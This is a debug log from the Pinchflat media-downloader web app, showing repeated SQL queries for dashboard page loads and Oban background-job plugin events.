SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:48.161 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:00:48.161 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:00:48.166 [debug] QUERY OK source="media_items" db=2.0ms idle=6.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:00:48.169 [debug] QUERY OK source="media_items" db=2.5ms idle=7.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:00:48.169 [debug] QUERY OK source="sources" db=0.2ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:00:48.171 [info] Sent 200 in 19ms 05:00:49.162 [info] GET / 05:00:49.162 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:00:49.163 [debug] QUERY OK source="settings" db=0.2ms idle=1001.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:49.163 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=996.9ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:00:49.163 [debug] QUERY OK source="sources" db=0.1ms idle=994.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:00:49.165 [debug] QUERY OK source="media_items" db=1.2ms idle=994.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:49.166 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=434.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:49.167 [debug] QUERY OK source="settings" db=0.2ms queue=0.6ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:49.167 [debug] QUERY OK source="settings" db=0.1ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:49.170 [debug] QUERY OK source="settings" db=2.6ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:00:49.171 [debug] QUERY OK source="tasks" db=0.5ms idle=5.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:00:49.172 [debug] QUERY OK source="media_items" db=0.8ms idle=6.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:00:49.173 [debug] QUERY OK source="media_items" db=0.6ms idle=5.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:00:49.174 [debug] QUERY OK source="sources" db=0.6ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:00:49.179 [debug] QUERY OK source="media_items" db=2.5ms idle=6.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:00:49.182 [debug] QUERY OK source="media_items" db=2.4ms queue=0.1ms idle=8.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:00:49.183 [debug] QUERY OK source="sources" db=0.3ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:00:49.185 [info] Sent 200 in 23ms 05:01:00.908 [info] {"source":"oban","duration":187,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:01:05.742 [info] {"source":"oban","duration":472,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:35.744 [info] {"source":"oban","duration":1310,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:36.064 [info] GET / 05:01:36.064 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:01:36.064 [debug] QUERY OK source="settings" db=0.1ms idle=1525.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:01:36.064 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1280.6ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:01:36.065 [debug] QUERY OK source="sources" db=0.1ms idle=526.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:01:36.066 [debug] QUERY OK source="media_items" db=1.0ms idle=320.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:01:36.067 [debug] QUERY OK source="media_items" db=0.8ms idle=281.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:01:36.067 [debug] QUERY OK source="settings" db=0.5ms idle=2.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:01:36.068 [debug] QUERY OK source="settings" db=0.6ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:01:36.069 [debug] QUERY OK source="settings" db=0.4ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:01:36.071 [debug] QUERY OK source="tasks" db=0.6ms idle=4.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:01:36.072 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:01:36.073 [debug] QUERY OK source="media_items" db=0.8ms queue=0.1ms idle=4.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:01:36.074 [debug] QUERY OK source="sources" db=0.5ms idle=5.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:01:36.078 [debug] QUERY OK source="media_items" db=2.0ms idle=7.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 05:01:36.081 [debug] QUERY OK source="media_items" db=2.6ms queue=0.1ms idle=7.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:01:36.082 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 05:01:36.085 [info] Sent 200 in 21ms 05:02:00.909 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:02:05.745 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:35.747 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.911 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:03:05.749 [info] {"source":"oban","duration":797,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:35.751 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.913 [info] {"source":"oban","duration":702,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 05:04:05.752 [info] {"source":"oban","duration":964,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:22.222 [info] GET / 05:04:22.222 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 05:04:22.223 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=674.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:04:22.224 [debug] QUERY OK source="media_profiles" db=0.3ms idle=675.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 05:04:22.225 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=676.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 05:04:22.227 [debug] QUERY OK source="media_items" db=1.3ms idle=676.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:04:22.227 [debug] QUERY OK source="media_items" db=0.3ms idle=98.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:04:22.228 [debug] QUERY OK source="settings" db=0.2ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:04:22.228 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:04:22.228 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 05:04:22.229 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 05:04:22.230 [debug] QUERY OK source="media_items" db=0.4ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 05:04:22.230 [debug] QUERY OK source="media_items" db=0.3ms idle=2.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 05:04:22.231 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [30, 31] 05:04:22.233 [debug] QUERY OK source="media_items" db=1.3ms idle=3.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 